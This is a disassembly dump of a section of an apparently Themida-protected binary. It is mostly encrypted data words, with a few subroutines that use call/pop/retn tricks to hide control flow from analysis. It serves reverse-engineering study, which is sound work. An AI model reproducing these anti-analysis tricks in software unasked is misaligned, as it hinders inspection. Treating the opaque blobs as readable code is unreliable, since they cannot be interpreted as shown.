462007F6h, 7A03EFA7h, 0DDAAB664h, 8CA2EB83h dd 6439EB83h, 6362EFA7h, 0A0D1E364h, 7A259914h, 4CCA252Ch dd 0AF23EFA7h, 0C743B840h, 5B0B8F8Eh, 859EDEECh, 0CD25FBAEh dd 4E238577h, 8C23EC4Fh, 857CCFA7h, 75F66F8h, 0B5676EA3h dd 0C823FBA3h, 0A774A8A7h, 5BB666E7h, 9A25FB83h, 11AACB67h dd 4037ECEEh, 2A8E6A2Eh dd 9149E9B3h, 0C82007F0h, 3B03EFA7h, 4EAAB064h, 5DA2EB83h dd 8C36EB83h, 1164EFA7h, 0A8682464h, 8538F232h, 0E1A664A1h dd 0E25FBACh, 31CBBAA7h, 3923EFA7h, 57E2CFAh, 0C727CBCBh dd 3B27CBE3h, 0D423EFA7h, 2AB12CF2h, 4F0D0D12h, 2616F21Ah dd 54BE64A1h, 0E625FBACh, 45CBBFA7h, 323EFA7h, 187B2CFFh dd 4927CBE3h, 7C27CBE3h, 7223EFA7h, 91962CF7h, 0A568C192h dd 5230761Ah, 0D1A2ACA1h, 0E6D14651h, 75A8F42Ch, 6237DF9Eh dd 0A7AAF42Ch, 1F37EDBEh, 8C49F42Ch, 462007F4h, 7803EFA7h dd 0CDAAB464h, 8CA2EB83h, 643AEB83h, 6160EFA7h, 2E4BB64h dd 0BF3322FEh, 1523857Fh, 2323EC4Fh, 5278CFA7h, 0EC7F66FCh dd 40676EA3h, 3223F3A3h, 0DA70ACA7h, 0FA2161Eh, 0BCD4208Ch dd 0A2BE6648h, 0FB25FBBCh, 0CBCBBDA7h, 4423EFA7h, 0BB792CFDh dd 9827CBF3h, 9427CBE3h, 423EFA7h, 804F2CF5h, 18DE6996h dd 0DC25FE3Ah, 2D9ECCA1h, 0F425FBB6h, 0D39B622h, 8C49A8A1h dd 462007F6h, 7A03EFA7h, 0DDAAB664h, 8CA2EB83h, 6435EB83h dd 6362EFA7h, 6BD50664h, 8AB1C11Dh, 462707DFh, 0FE8AEFA7h dd 1A455879h, 412CBF5Dh, 6423EFB6h, 322906F0h, 4D75EFA7h dd 1839BB07h, 0A3B1F2C8h, 76764FDh, 909989A3h, 98236400h dd 642407F5h, 0EB79EFA7h, 7DA8B8FFh, 8371BFAAh, 187BB596h dd 7B79DEA8h, 9507AB2Eh, 0C8266AA8h, 0ED9AEFA7h, 6A481499h dd 0F175EFCDh, 8C23EFA4h, 18E0B187h, 27079B2Eh, 9507AB26h dd 0C823EFBEh, 35E0B9E1h, 5EE6F109h, 19330797h, 8C68EFA7h dd 2D724D00h, 0DC55D575h, 7EC5E941h, 3A8FE2Bh, 0B59610FEh dd 0B925FBBDh, 0D27B212h, 57A662A1h, 2C25F827h, 20CBB9A7h dd 0B123EFA7h, 417D2CF9h, 0E527CBD3h, 2627CBE3h, 5F23EFA7h dd 73832CF1h, 46330677h, 237FEFA7h, 90AC9BE9h, 40AA4488h dd 546C43FEh, 0B7AAEE6Ah, 1F37EA1Ah, 219EC6F0h, 1F25FBBCh dd 0A8515AE7h, 850FDA12h, 412364A1h, 7032F212h, 582364A1h dd 1ACBB8A7h, 0AC23EFA7h, 0CF7C2CF8h, 0A227CBDBh, 8627CBE3h dd 8F23EFA7h, 391C2CF0h, 0AFAA50BCh, 1F37C9A6h, 83E26A2Eh dd 4649E9B3h, 232007F4h, 0CA03EFA7h, 94AAB464h, 20A2EB83h dd 3237EB83h, 4A60EFA7h, 31AA9564h, 4037C522h, 2323FF4Eh dd 702196A7h, 0CE051D34h, 461ABD81h, 0FF6173F3h, 18AB062Ch dd 8C49EFA7h, 462007F1h, 7D03EFA7h, 0E5AAB164h, 8CA2EB83h dd 6434EB83h, 6465EFA7h, 0C99C1764h, 7E8657Ch, 52357E12h dd 91A662A1h, 0FB25F80Dh, 0CBCBBEA7h, 4423EFA7h, 0BB7A2CFEh dd 9827CBEBh, 9027CBE3h, 723EFA7h, 0F77C2CF6h, 0B37254D2h dd 580F8B1Bh, 2736911h, 0A2498118h, 0F174EFCDh, 8C23EFA4h dd 19E0B087h, 2707932Eh, 9507AB26h, 0C823EFBCh, 77E0B8E0h dd 9AFCC345h, 0E66851EDh, 980C7A32h, 162385A1h, 2323EC4Fh dd 527BCFA7h, 0EC6766FFh, 40676EA3h, 3223F5A3h, 0DA73AFA7h dd 0D49B7837h, 0C714BACBh, 7D44D151h, 1F75509Ch, 55AE8B03h dd 6234451Fh, 0DA75EFCDh, 1923EFA4h, 0D2E0B187h, 42079B2Eh dd 2707AB26h, 9123EFBFh, 6EE0B9E1h, 1D002D73h, 3202522Eh dd 7FB0E9B3h, 0DC185519h, 462F07F0h, 0F224EFA7h, 0EEB0D327h dd 0F534BDCBh, 6CCA2811h, 0C223EFA7h, 338F91ADh, 0D5A6DDA1h dd 46497CF9h, 232007F5h, 0CB03EFA7h, 9CAAB564h, 20A2EB83h dd 323AEB83h, 4B61EFA7h, 0C5550364h, 49174FD3h, 2323ED2Bh dd 0C1E964A7h, 0C707EB2Eh, 0F1DC3818h, 3437F2E2h, 0F170EFCDh dd 8C23EFA4h, 1DE0B487h, 2707B32Eh, 9507AB26h, 0C823EFBDh dd 0E9E0BCE4h, 9F25C081h, 9CAA195Ch, 8A37E60Ah, 0AE70EFCDh dd 2323EFA4h, 0CAE0B487h, 0CC07B32Eh, 6007AB26h, 3223EFB1h dd 0F0E0BCE4h, 19A892E7h, 4037FE8Ah, 0A6E5182Dh, 9737F5FEh dd 9D2385F4h, 6423EC4Fh, 0F17ECFA7h, 3D4F66FAh, 0A8676EA3h dd 4623F3A3h, 0E076AAA7h, 0BF528C74h, 4444EDE8h, 0A196EEAEh dd 0DA25FB82h, 1923EFA3h, 26A46BD8h, 4623FD4Fh db 0A7h byte_584369 db 0A0h, 0F8h, 0BCh ; DATA XREF: Themida_:0054B77Co dd 8325E50Fh, 8D35656h, 0D50D546Bh, 52D8B333h, 8998D519h dd 0DC7C8EE6h, 44A6E0C7h, 7223EFA7h, 97A2E0FCh, 0C723EFA7h dd 6423EF21h, 76A88EA7h, 4B73EB83h, 0DC1359C7h, 1C12E0F5h dd 122C8EFFh, 91A8B7FDh, 0CC07AB2Eh, 642060A8h, 0B945EFA7h dd 0FBA2B771h, 868E903Fh, 5CF25A58h, 2349E9B3h, 912007F0h dd 9703EFA7h, 18AAB064h, 76A2EB83h, 1936EB83h, 0DB64EFA7h dd 0CB5B1F64h, 34A33422h, 0C42385A1h, 0C823EC4Fh, 0A77ECFA7h dd 164F66FAh, 3D676EA3h, 8C23F6A3h, 8576AAA7h, 0A96D5170h dd 262CDDBCh, 0A8F3106Eh, 4DEE7A2Eh, 3D70E9B3h, 1923EF24h dd 542B1A7h, 522AD622h, 762385A1h, 9123EC4Fh, 0B7ECFA7h dd 404F66FAh, 16676EA3h, 1923F4A3h, 4F76AAA7h, 0FF65E54Fh dd 57F62F08h, 0BC7A5A2Ch, 450AE9B3h, 6237C632h, 287A6A61h dd 9064E9B3h, 98364E32h, 0F9F887A1h, 0A12C9870h, 9123EFB4h dd 0C823E74Fh, 97C9D2A7h, 2FFAF671h, 0E7FB50CBh, 0D7CE6B9h dd 1396CBA3h, 2349C63Dh, 912007F4h, 9303EFA7h, 38AAB464h dd 76A2EB83h, 193EEB83h, 0DF60EFA7h, 0BDD46964h, 0AE597D57h dd 2B78DCBDh, 0A74B2D51h, 6942722Eh, 87DCE9B3h, 1F37F576h dd 0A5C66A96h, 0C3AEE9B3h, 25346F7Ch, 0BABE522Eh, 18DCE9B3h dd 8C75EFCDh, 3223EFA4h, 47E0B187h, 88079B2Eh, 4207AB26h dd 2323EFBFh, 62E0B9E1h, 854C6B1Fh, 6C667A2Ch, 26CAE9B3h dd 8623EFA7h, 7A64F8ABh, 9294E777h, 0A4EA17CAh, 6DB99036h dd 41DD4520h, 7028DE22h, 672385A1h, 1923EC4Fh, 4F7ECFA7h dd 624F66FAh, 7676EA3h, 9123F3A3h, 0B76AAA7h, 27773A1h dd 8E565808h, 0E8A889C6h, 890E5A2Ch, 0C3E5E9B3h, 2537F5FEh dd 0C62385F4h, 0C823EC4Fh, 0A77CCFA7h, 165F66F8h, 3D676EA3h dd 8C23F2A3h, 8574A8A7h, 9035ACC9h, 416AA5C2h, 684B9542h dd 0EFEEA2B6h, 16176E50h, 4D57A197h, 8A527A2Ch, 0F3DCE9B3h dd 2537F576h, 11F86A2Ah, 0DACAE9B0h, 1723EFA7h, 97E03B8Ah dd 0A2228CC4h, 99A6CFAAh, 0A486CF4Ah, 43F310D9h, 0F0DA64C7h dd 0D0F65A2Eh, 0ED42E9B3h, 26008E22h, 1FAAE0A1h, 0A523EFA7h dd 5228721Ah, 7AA629A1h, 0C625FBBDh, 5C8651C1h, 9555ABCFh dd 0E5A889F6h, 0DB07EB26h, 71DFD7Ch, 97961050h, 4925FBBDh dd 92CBBCA7h, 0E823EFA7h, 0ED782CFCh, 0B327CBFBh, 427CBE3h dd 0CF23EFA7h, 0DD322CF4h, 0D72CB7C6h, 38F1C74Eh, 48F86A2Ah dd 68CAE9B0h, 2B23EFA7h, 24190CDFh, 88EB61Ch, 0B9EF4AE5h dd 3A9E6477h, 1825FBABh, 0DC08F622h, 0A2D264A1h, 2639B622h dd 1949ACA1h, 8C2007F4h, 1D03EFA7h, 7FAAB464h, 0D5A2EB83h dd 0C835EB83h, 3760EFA7h, 0FA86A964h, 2DAA5A2Ch, 88CBE9B3h dd 6E23EFA7h, 919F7FD7h, 0E099BF75h, 4330B524h, 0DE27CBE3h dd 511AF159h, 699CEF2Ch, 5762DCDh, 0CD27CBE3h, 96A8B76Ch dd 9737F9D6h, 0D2F25A58h, 6449E9B3h, 322007F0h, 4603EFA7h dd 0F0AAB064h, 2A2EB83h, 233FEB83h, 0C664EFA7h, 93F95864h dd 0F1D43FECh, 852C2F0Fh, 0C2A66275h, 0E625F827h, 45CBBAA7h dd 323EFA7h, 187E2CFAh, 4927CBCBh, 7327CBE3h, 7723EFA7h dd 74A12CF2h, 0A2CAB41h, 4623EFA1h, 281652A4h, 41DCE9B3h dd 2070EFCDh, 6423EFA4h, 69E0B487h, 1D07B32Eh, 8807AB26h dd 4623EFB3h, 24E0BCE4h, 912265A8h, 41D6EFA7h, 70139A22h dd 9AA662A1h, 7325F80Dh, 8FCBB9A7h, 6623EFA7h, 0AA7D2CF9h dd 1027CBD3h, 0D327CBE3h, 2223EFA7h, 0EBF52CF1h, 1ED3594Bh dd 0D274EFF7h, 2671BFF7h, 0F5A88EC7h, 0F712E0C6h, 9079392Ch dd 0E07EB2Eh, 31CBBAA7h, 3923EFA7h, 57E2CFAh, 0C727CBCBh dd 3827CBE3h, 0D423EFA7h, 57A12CF2h, 762FC36Eh, 31DAD748h dd 0D207A32h, 19B610A1h, 2C25FB88h, 20CBBEA7h, 0B123EFA7h dd 417A2CFEh, 0E527CBEBh, 2A27CBE3h, 5823EFA7h, 55612CF6h dd 2010B897h, 0A8CB7118h, 0C723857Fh, 0C823EC4Fh, 0A77DCFA7h dd 165766F9h, 3D676EA3h, 8C23F5A3h, 8575A9A7h, 7E002900h dd 0C642A1B0h, 4DAEB05Eh, 6234453Bh, 3223E34Eh, 0AA3E79A7h dd 4FF6F6BDh, 3D57F513h, 0A32CBF0Eh, 9123EFA0h, 584750F7h dd 0ED7A99BBh, 34CACBA3h, 3C23EFA7h, 0A700BBE0h, 0FF457C08h dd 4573D8BBh, 2E78019h, 2070EFCDh, 6423EFA4h, 69E0B487h dd 1D07B32Eh, 8807AB26h, 4623EFBBh, 9AE0BCE4h, 70B3D97Ah dd 6218E8B6h, 6423FC4Eh, 0EA013AA7h, 0B1F3B9EEh, 0BD74A192h dd 1C932B15h, 9A462FB8h, 8C667A58h, 0C849E9B3h, 642007F5h dd 6803EFA7h, 4DAAB564h, 0C8A2EB83h, 463EEB83h, 7161EFA7h dd 0BCD41764h, 202F8DD7h, 0ED4E29EEh, 260CC61Ah, 5CA666A1h dd 0BF25FB89h, 522FB612h, 86A628A1h, 9E25FBBDh, 0A223EFA7h dd 67CBB8A7h, 1223EFA7h, 907C2CF8h, 0D27CBDBh, 5B27CBE3h dd 6423EFA7h, 0E8962CF0h, 7CC1E4C3h, 0AB67AE9Ch, 0F4A289C7h dd 78D6B04Fh, 8CFA52AEh, 0D3DCE9B3h, 2537C1E2h, 912568A8h dd 45AAEFA7h, 6237CBB2h, 10225294h, 9CAAE9B3h, 8A37E9AEh dd 0CDD850A8h, 3733EE22h, 0C3BE62A1h, 4125F81Ah, 0D9AEEEE4h dd 3437E236h, 0A40F5A2Ah, 0BF9AE9B0h, 0B523EFA7h, 9B100403h dd 9123EFA7h, 0CB572FACh, 0EF23F765h, 612FCBE3h, 1923EF4Fh dd 4FA2B4A7h, 4623EFB0h, 3307B32Eh, 8507AB2Eh, 681457FCh dd 84DCEF05h, 3607AB2Ch, 19490F58h, 8C2007F4h, 1D03EFA7h dd 7FAAB464h, 0D5A2EB83h, 0C838EB83h, 3760EFA7h, 31471E64h dd 13C3FDC8h, 0D966669h, 2025FB89h, 50AC3826h, 874E7AA4h dd 7F2CE9B3h, 0DE458E6Dh, 8FAE44CCh, 1F34453Bh, 3194622Ah dd 739BE9B0h, 10BBC90Ch, 852B2622h, 0C7ECC4A1h, 4F112385h dd 0A72323ECh, 0F8527CCFh, 0A3EC5F66h, 0A340676Eh, 0A73223F2h dd 0E98374A8h, 8BA4F305h, 0FEF781D9h, 0E92E954Ch, 59h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 6EC35343h dd 726ABB18h, 0A6C51888h, 6A61FCh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0CFB739C3h, 0A1A4F6C3h dd 605BD874h, 12DF8166h, 0F094BF15h, 0C3613730h, 0F5C08BF9h dd 30B1BD83h, 75000614h, 0E1BD8309h, 6141Ah, 53501974h dd 0B9B8C08Bh, 89000004h, 1430C185h, 0A19D8D06h, 0FF0616B7h dd 83585BD3h, 141AE1BDh, 17740006h, 0B9B85350h, 89000004h dd 1430C185h, 429D8D06h, 0FF0616B4h, 0F5585BD3h, 5810Fh dd 0F9600000h, 8B615956h, 8B40F9C0h, 55006AC1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0E544A7F2h dd 0EBF0E5A6h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0D9B34A27h, 8D89DAE7h dd 6140379h, 99858DF5h, 0B06140Fh, 140BADB5h, 0DE95006h dd 0E2000000h, 261E71B3h, 0A90CF97Ah, 0E50A315Fh, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0F85BC350h, 36A7C4B7h, 606440BAh, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 82F968C3h, 0F006A2Fh, 2B8Ah, 12E800h, 0A5A0000h, 66570D50h dd 0FD1ACF38h, 0EB33186h, 391589CEh, 0EE9h, 6E0CE800h dd 4BF0CAD4h, 368ECD97h, 5FFFCFC3h, 0C0E0858Dh, 6A0617h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0B54274C3h, 66BF2C42h, 0C083F78Bh, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 6690C14Eh, 9050F28Bh, 1B1DBD8Bh, 6A0614h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E0C35545h, 4E8720FFh dd 7683B611h, 1D9D8956h, 66061432h, 6AF08Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 32C35646h, 0BE2B047Eh dd 0E165B8BAh, 0F080604Ch, 69958BEDh, 61061426h, 1A7195FFh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 6087C6C3h, 14E8F78Bh, 4C000000h, 0E5FDB3AEh dd 0E42CE1C5h, 0E50FAF8Eh, 0E88B2BDFh, 0F92244DEh, 9509615Fh dd 6140A29h, 0A8FC9D8Dh, 8D090617h, 6140E89h, 0BD01D3FFh dd 6143159h, 236D85FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0FD85F8C3h, 0AB2B3F97h dd 0F9BF0F65h, 0BE2F1ABEh, 11E91Dh, 40CB0000h, 91721D8Fh dd 23E1B23Ch, 50801526h, 0E982D2E3h, 797h, 0E8h, 0ED815D00h dd 617C0EAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 32C35141h, 0DE8166F0h, 0BD81613Eh, 6141AA5h, 7D0h dd 147860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0AE9575C3h, 4D20C59Ah, 0BF6643C0h dd 0BF0F1CE4h, 319D8BF3h, 66061402h, 816E91BEh, 100E3h dd 0FE900h, 0D9C20000h, 1E2319B0h, 0F141BEA0h, 0C89D328Eh dd 0FDB0B84h, 9485h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BD8313BCh, 617BEBEh dd 14840F00h, 8B000000h, 14313DBDh, 9CE906h, 8E0F0000h dd 3, 0C7F6B70Fh, 17BEBE85h, 106h, 5958900h, 0E9061401h dd 7Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh dd 7DC35141h, 3CDCA8Bh, 0E968BBA6h, 13h, 0D9E99747h, 70BA460Dh dd 3721DBA9h, 7CC040F6h, 8B29703Ah, 1400E5BDh, 0BE85C706h dd 617BEh, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0E4ABC350h, 605DEA1Fh, 0E5F38166h dd 4DB58B15h, 61061422h, 1C58D29h, 9D8D0614h, 6140231h dd 69B58BF5h, 81061402h, 0FFFEFF23h, 0ADBD8BFFh, 8906141Bh dd 140019B5h, 0DB8C6606h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0F5C35646h, 56D71F07h, 0DE8166E6h, 0C3F69DDBh dd 4A840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0EFF3C357h, 95FF7773h dd 6142E45h, 14B1BD33h, 0E9900614h, 5, 98CEEF98h, 0F90504Dh dd 0C8Bh, 6810F00h, 89000000h, 140CD985h, 42AE906h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0EE5B8FC3h, 91FCEC5Fh, 11E85D86h, 0A3000000h, 4A1739A1h dd 3F132A83h, 0CCE5EAF7h, 455BFC2Eh, 0FE8h, 8678C600h dd 0A2C92D46h, 0F3ACBDD3h, 0E57ABAF0h, 8B665F5Fh, 6A00B0F9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 740C350h, 70E62660h, 1A15BD8Bh, 71E40614h dd 816650F5h, 5FBEBEDFh, 8BD8B60Fh, 6BAF2h, 0B7BE0000h dd 8B6D672Ah, 0C1F18BC3h, 0F08B04E8h, 0E9E2F766h, 0Dh dd 0DDDED395h, 8D726135h, 0A11B6FA2h, 89D82BC1h, 1422099Dh dd 12E95006h, 1000000h, 0FCD4C8CDh, 65255B9h, 266FF7AAh dd 168C9E39h, 241C8956h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 41C35040h, 4605CAD3h, 9D891262h, 6141635h dd 0AED8D89h, 0B5FF0614h, 6141AA5h, 4DDB533h, 11E90614h dd 62000000h, 1AE1EB60h, 7E08D19Fh, 0B8F40002h, 3DBA858Fh dd 116995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 2177A3C3h, 0D0856DBBh, 0BD8BD1E1h dd 6141D3Dh, 2ADD9589h, 0B00614h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0D4C35343h, 0A23E5EBh, 0EF3E478Fh dd 0A2F8BFD4h, 70E63EADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0E0C35343h, 613C71E4h, 27A830Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 24EE5EC3h, 0B60F842Eh, 0ADB503D8h, 0BA06142Eh, 6, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EC35242h, 74EDE114h dd 0F4556E4h, 6060F0BFh, 6E9h, 9B0BAB00h, 890D4583h, 1405358Dh dd 8D2B6106h, 6140F71h, 6AC38B61h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCB6C356h dd 0F0FDF483h, 0E8C1F844h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 665D6709h dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 2B1AE1C3h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 29CA87DCh, 1403A985h dd 68A0F06h, 29000000h, 1419D18Dh, 0CE95806h, 0F8000000h dd 0E3B63133h, 9EEA1618h, 2BAAA83Fh, 59880FD8h, 66000001h dd 6BC7EE81h, 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 9B6B68C7h, 0A70DA023h dd 31B1B58Bh, 0EE80614h, 0AF000000h, 0E59C6D30h, 2EDC874Eh dd 0E8BC068Ch, 6860FD9h, 0F000000h, 87h, 0C1835E00h, 0FD93B00h dd 0FB86h, 0D98C6600h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 19C35646h, 0E904246Ch, 0F1B58BD8h, 0F6061400h dd 840F04C1h, 0A3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 8FC35343h, 98C3D907h, 85896052h, 6140D55h dd 820Fh, 5E610000h, 2E4595FFh, 6A0614h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8C36E1C3h dd 8B70BC2Eh, 141AC5B5h, 33515B06h, 1416F5B5h, 0C32B5F06h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A3C35343h dd 52948D24h, 3D5FF78Bh, 834h, 0D860Fh, 0BD890000h, 61412DDh dd 27E9h, 8BF98B00h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 85898500h, 6143499h, 0D88BC38Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E9C35545h dd 0F6010F0h, 68Ch, 69BD0B00h, 0E906140Eh, 7, 1BEBE2A0h dd 61050B7Dh, 1AF985C7h, 0E5F10614h, 6A3DD4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 57E5D7C3h dd 0DB19B88Eh, 0C098589h, 0C08B0614h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 18h, 37C35242h, 0AC783C37h dd 82DBD89h, 0BD810614h, 6141AA5h, 7D0h, 2D850Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 6A2A88C3h, 0B13023EBh, 1AA585FFh, 81660614h, 0FF76DDEEh dd 141AA5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0B0B931ECh, 0F8B70FB9h, 0EE9h, 37DA6B00h dd 6489EF69h, 0B516ED5Bh, 0FF7E4D3Eh, 14116995h, 0B890F906h dd 12345678h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 45C35242h, 286D446Fh, 3543A3F6h, 2C9D8DF7h, 0E90617C8h dd 0FFFFF884h, 12EE8166h, 10820FF9h, 0E9000000h, 0Bh, 36C0BAB6h dd 539F8C5Dh, 8B937E7Bh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 7BB38C31h, 81665E9Eh dd 0EB4F50CFh, 4, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 8DB58B47h, 8B06141Bh dd 0CD8589F7h, 8D061413h, 140F9985h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 89F7B12h, 6C99314Ch dd 6830FA4h, 89000000h, 14253185h, 52505006h, 0FFA8B66h dd 5C22BF31h, 585A609Ch, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5E17C355h dd 0E229582Bh, 1CB5B533h, 6A0614h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0FAC35747h, 29D68356h, 67BFBE0h dd 11E9h, 5B43C900h, 32DF36B2h, 0C6240644h, 0F5CF9952h dd 85892E95h, 6142AF1h, 9589006Ah, 6141FC5h, 0CAC4858Dh dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0ED25A7C3h, 5C08330h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 3BC35040h, 3131B523h, 8B660614h dd 14E990F9h, 0D7000000h, 3E22CB86h, 7FD12C9Ch, 5FD93DAh dd 0FE51BFFFh, 50E6E17Fh, 0D26BBE66h, 6A96BF90h, 6A768Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7DC35343h dd 0F881ACEBh, 29A8946Dh, 6A006A12h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EADAC353h dd 7195FF4Ah, 0B06141Ah, 140E95B5h, 5880F06h, 0BF000000h dd 4C9CA975h, 0A8FC9D8Dh, 0B58B0617h, 6142505h, 6AD3FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0F1AFD0C3h, 0EFD0F38Ch, 0D1BD8BD6h, 0FF061404h, 14236D85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 61148EBBh, 0DF54A3h, 0C59D29EBh, 0E9061429h dd 0E16h, 0E8h, 0ED815D00h, 617CACEh, 2AA59589h, 0BD810614h dd 6141AA5h, 7D0h, 171860Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C61745C3h dd 899B2993h, 1424D985h, 759D8B06h, 8106141Bh, 100E3h dd 0EDB52900h, 0B061405h, 93850FDBh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 7900C357h, 52BC1F9h, 0A6BD83FCh, 617C8h, 43840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 7D76C8C3h, 14E938h, 65C00000h, 78A2CCB9h, 0DEE71D22h dd 0B1FE4B09h, 0B2CE69C4h, 7BE9600Bh, 8B000000h, 140C71B5h dd 0A685C706h, 10617C8h, 1000000h, 140C3585h, 60E906h dd 8B660000h, 38C0FF1h, 0F000000h, 85C7F3B7h, 617C8A6h dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5857B3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5857B3 proc near ; CODE XREF: Themida_:005857ABp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5857B3 endp ; --------------------------------------------------------------------------- db 19h dd 326960F0h, 0B5CCDAFEh, 5E8ACh, 0E79F0000h, 0E8F947B0h dd 13h, 22AA4322h, 18C1F4A7h, 52EFCCD4h, 41B4C048h, 0FC60E70Fh dd 9D8D5E5Eh, 6141B75h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0DAC35242h, 0FEFF2381h, 6AFFFFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 972C7AC3h, 662A5EB4h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 9B4389C3h, 0B50BCD1Bh dd 6142195h, 0F04C3F6h, 5384h, 5E800h, 0A1BE0000h, 89CB2C0Eh dd 1403B18Dh, 95FF5F06h, 6142E45h, 0E990FA8Bh, 6, 0AFDA7364h dd 50503FDBh, 5E952h, 35A30000h, 0FCDACD7h, 10E831h, 82420000h dd 1EE9C2EAh, 0BA451E2Eh, 2B94E6FDh, 850FB96Eh, 0 ; --------------------------------------------------------------------------- pop edi pop edx pop eax nop jmp loc_585CD0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5858D0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5858D0 proc near ; CODE XREF: Themida_:005858C8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5858D0 endp ; --------------------------------------------------------------------------- dd 0D0A6960Eh, 1E9AF98h, 14E9h, 4D96D700h, 0CB137666h dd 9923A279h, 0B95EF55Eh, 2FB300D7h, 0AB90BEEDh, 0B02C93h dd 0D073E681h, 70E66C3Fh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 45B376C3h, 2A119589h dd 0B60F0614h, 5E8D8h, 6D710000h, 2996E813h, 1419C9BDh dd 6BA5E06h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 